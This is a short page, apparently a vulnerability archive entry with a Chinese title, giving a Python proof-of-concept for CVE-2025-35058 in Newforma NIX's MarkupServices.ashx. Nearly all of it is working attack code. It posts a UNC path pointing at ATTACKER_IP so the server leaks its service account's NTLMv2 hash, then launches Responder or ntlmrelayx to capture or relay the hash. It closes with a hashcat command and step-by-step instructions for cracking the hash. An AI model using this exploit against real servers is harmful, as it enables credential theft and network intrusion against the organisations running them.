CVE-2025-35058 Newforma NIX MarkupServices.ashx NTLMv2哈希泄露漏洞

# CVE-2025-35058 PoC - NTLMv2 Hash Capture via MarkupServices.ashx # This PoC demonstrates how to trigger NIX to leak NTLMv2 hash to an attacker-controlled SMB server import requests import threading import subprocess import sys TARGET_URL = "https://target-nix-server/UserWeb/Common/MarkupServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\\\evilshare" def trigger_ntlm_leak(target_url, smb_path): """ Send a crafted request to MarkupServices.ashx to force NIX to initiate an SMB connection to the attacker's server. The request includes a UNC path pointing to the attacker's SMB server. """ # Craft payload with UNC path reference payload = { "file": smb_path, "path": smb_path, "url": smb_path, "imageUrl": smb_path, "source": smb_path } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[+] Request sent. Status: {response.status_code}") except Exception as e: print(f"[-] Request failed: {e}") def start_smb_listener(interface="eth0"): """ Start Responder to capture NTLMv2 hashes from incoming SMB connections. Responder should be configured to listen on the attacker-controlled IP. """ print("[*] Starting Responder to capture NTLMv2 hashes...") # Command: responder -I eth0 -wrf # Hashes will be saved to /usr/share/responder/logs/ subprocess.run([ "responder", "-I", interface, "-wrf" ]) def start_ntlmrelayx(capture_only=True): """ Alternative: Use Impacket's ntlmrelayx to capture and relay NTLMv2 hashes. """ print("[*] Starting ntlmrelayx to capture NTLMv2 hashes...") # Command: impacket-ntlmrelayx -smb2support -t smb://TARGET subprocess.run([ "impacket-ntlmrelayx", "-smb2support", "-of", "captured_hashes.txt" ]) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_nix_url>") sys.exit(1) target = sys.argv[1] # Start SMB listener in a separate thread listener_thread = threading.Thread(target=start_smb_listener, daemon=True) listener_thread.start() # Trigger the vulnerability trigger_ntlm_leak(target, ATTACKER_SMB_SERVER) print("[*] Waiting for NTLMv2 hash capture...") print("[*] Check Responder logs for captured hashes.") print("[*] Crack the hash with: hashcat -m 5600 captured_hash.txt wordlist.txt") # Steps to exploit: # 1. Set up attacker machine with Responder or ntlmrelayx listening for SMB connections # 2. Modify ATTACKER_SMB_SERVER to point to your IP # 3. Run: python3 poc.py https://target-nix-server # 4. The NIX server will connect to your SMB server and leak the service account NTLMv2 hash # 5. Crack the hash offline using Hashcat (mode 5600) or John the Ripper